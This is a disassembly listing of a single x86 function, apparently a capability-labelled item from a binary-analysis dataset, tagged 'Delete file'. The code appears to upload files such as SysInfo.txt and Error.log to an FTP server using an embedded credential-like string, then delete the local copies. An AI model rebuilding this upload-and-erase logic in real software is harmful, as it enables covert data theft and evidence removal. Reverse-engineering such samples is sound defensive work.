Function at 0x403aa0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4763a7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c4
mov eax, dword [0x49afa0]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x14], eax
mov al, byte [edi + 8]
test al, al
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x4bc], edi
je 0x4040e7
call fcn.0046990a
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x49c], eax
mov dword [ebp - 4], 0
call fcn.0046990a
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x498], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x4b4]
push eax
lea ecx, [ebp - 0x49c]
push ecx
lea edx, [ebp - 0x498]
push edx
lea eax, [ebp - 0x4c0]
push eax
push esi
mov byte [ebp - 4], 1
call fcn.0046e707
test eax, eax
jne 0x403bc5
push str.ftp:__
lea ecx, [ebp + 8]
call fcn.00402f80
test esi, esi
mov byte [ebp - 4], 2
jne 0x403b5a
xor eax, eax
jmp 0x403b69
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b60
sub eax, edx
push eax
push esi
lea ecx, [ebp + 8]
call fcn.00403990
lea ecx, [ebp - 0x4b4]
push ecx
lea edx, [ebp - 0x49c]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x498]
push eax
lea ecx, [ebp - 0x4c0]
push ecx
push edx
call fcn.0046e707
test eax, eax
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 1
je 0x403e28
add eax, 0xfffffff0
or ebx, 0xffffffff
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403bc8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x403bc8
or ebx, 0xffffffff
mov eax, dword [ebp - 0x498]
mov ecx, dword [edi]
push 1
push 0
push str.33mHQCc
push 0x47bccc
push eax
mov byte [ebp - 4], 3
call fcn.0046e8ed
mov esi, eax
mov eax, dword [edi + 0xc]
push eax
mov ecx, esi
mov dword [ebp - 4], 1
call fcn.0046e2ba
test eax, eax
jne 0x403c65
mov eax, dword [edi + 0xc]
push eax
mov ecx, esi
call fcn.0046e2aa
test eax, eax
jne 0x403c5a
mov byte [ebp - 4], al
mov eax, dword [ebp - 0x498]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c31
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [ebp - 0x49c]
add eax, 0xfffffff0
mov dword [ebp - 4], ebx
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebx
dec ebx
test ebx, ebx
jg 0x4040e7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x4040e7
mov eax, dword [edi + 0xc]
push eax
mov ecx, esi
call fcn.0046e2ba
push 0
call fcn.0044a328
mov dword [ebp - 0x4b0], eax
lea eax, [ebp - 0x4b0]
push eax
mov dword [ebp - 0x4ac], edx
call fcn.0044a11a
add esp, 8
test eax, eax
je 0x403c92
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
jmp 0x403c95
mov dword [ebp + 8], ebx
lea edx, [ebp - 0x4b0]
push edx
call fcn.0044a11a
add esp, 4
test eax, eax
je 0x403cb3
mov eax, dword [eax + 4]
mov dword [ebp - 0x4b8], eax
jmp 0x403cb9
mov dword [ebp - 0x4b8], ebx
lea ecx, [ebp - 0x4b0]
push ecx
call fcn.0044a11a
add esp, 4
test eax, eax
je 0x403cd7
mov edx, dword [eax + 8]
mov dword [ebp - 0x4a8], edx
jmp 0x403cdd
mov dword [ebp - 0x4a8], ebx
lea eax, [ebp - 0x4b0]
push eax
call fcn.0044a11a
add esp, 4
test eax, eax
je 0x403cf5
mov ebx, dword [eax + 0xc]
jmp 0x403cf7
xor ebx, ebx
lea ecx, [ebp - 0x4b0]
push ecx
call fcn.0044a11a
add esp, 4
test eax, eax
je 0x403d10
mov edi, dword [eax + 0x10]
inc edi
jmp 0x403d12
xor edi, edi
lea edx, [ebp - 0x4b0]
push edx
call fcn.0044a11a
add esp, 4
test eax, eax
je 0x403d2f
mov eax, dword [eax + 0x14]
add eax, 0x76c
jmp 0x403d31
xor eax, eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x4b8]
push ecx
mov ecx, dword [ebp - 0x4a8]
push edx
push ecx
push ebx
push edi
push eax
lea edx, [ebp - 0x214]
push str._d__d__d__d__d__d_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x4a4]
call fcn.00402f80
mov ebx, dword [ebp + 0xc]
test ebx, ebx
mov byte [ebp - 4], 5
jne 0x403d7c
xor eax, eax
jmp 0x403d8a
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403d81
sub eax, edx
push eax
push ebx
lea ecx, [ebp - 0x4a4]
call fcn.00403990
mov ecx, dword [ebp - 0x4a4]
push 1
push 2
push ecx
push ebx
mov ecx, esi
call fcn.0046e2ca
test eax, eax
jne 0x403e96
lea edx, [ebp - 0x494]
push edx
push str.Error.log
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x403e1e
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp + 0xc]
call fcn.00402f80
push str.Error.log
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 6
call fcn.00403a20
mov ecx, dword [ebp + 0xc]
push 1
push 2
push ecx
push str.Error.log
mov ecx, esi
call fcn.0046e2ca
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov byte [ebp - 4], 5
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403e1e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [ebp - 0x4a4]
mov byte [ebp - 4], 1
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e42
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [ebp - 0x498]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e66
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [ebp - 0x49c]
add eax, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4040e7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x4040e7
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00402f80
push str.SysInfo.txt
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 7
call fcn.00403a20
lea ecx, [ebp - 0x4d0]
call fcn.0046a7cd
mov ecx, dword [ebp - 0x4a0]
push 0
push 0x1021
push ecx
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 8
call fcn.0046aa65
test eax, eax
je 0x403f0a
mov edi, dword [ebp - 0x4bc]
lea edx, [ebp - 0x4d0]
push edx
mov ecx, edi
call fcn.00403630
lea eax, [ebp - 0x4d0]
push eax
mov ecx, edi
call fcn.00403460
lea ecx, [ebp - 0x4d0]
call fcn.0046a76b
mov eax, dword [ebp - 0x4a0]
push 1
push 2
push eax
push eax
mov ecx, esi
call fcn.0046e2ca
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x354]
push ecx
push str.Error.log
call edi
cmp eax, 0xffffffff
je 0x403f96
lea edx, [ebp - 0x214]
push edx
lea ecx, [ebp + 0xc]
call fcn.00402f80
push str.Error.log
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 9
call fcn.00403a20
mov eax, dword [ebp + 0xc]
push 1
push 2
push eax
push str.Error.log
mov ecx, esi
call fcn.0046e2ca
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov byte [ebp - 4], 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f96
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [ebp - 0x354]
push eax
push str.FatalError.log
call edi
cmp eax, 0xffffffff
je 0x403ffe
lea ecx, [ebp - 0x214]
push ecx
lea ecx, [ebp + 0xc]
call fcn.00402f80
push str.FatalError.log
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 0xa
call fcn.00403a20
mov edx, dword [ebp + 0xc]
push 1
push 2
push edx
push str.FatalError.log
mov ecx, esi
call fcn.0046e2ca
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov byte [ebp - 4], 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403ffe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call esi
mov eax, dword [ebp - 0x4a0]
push eax
call esi
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 7
call fcn.0046a80c
mov eax, dword [ebp - 0x4a0]
add eax, 0xfffffff0
mov byte [ebp - 4], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404043
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [ebp - 0x4a4]
add eax, 0xfffffff0
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404067
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [ebp - 0x498]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40408b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [ebp - 0x49c]
add eax, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4040b2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov al, 1
jmp 0x4040e9
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.004497f7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8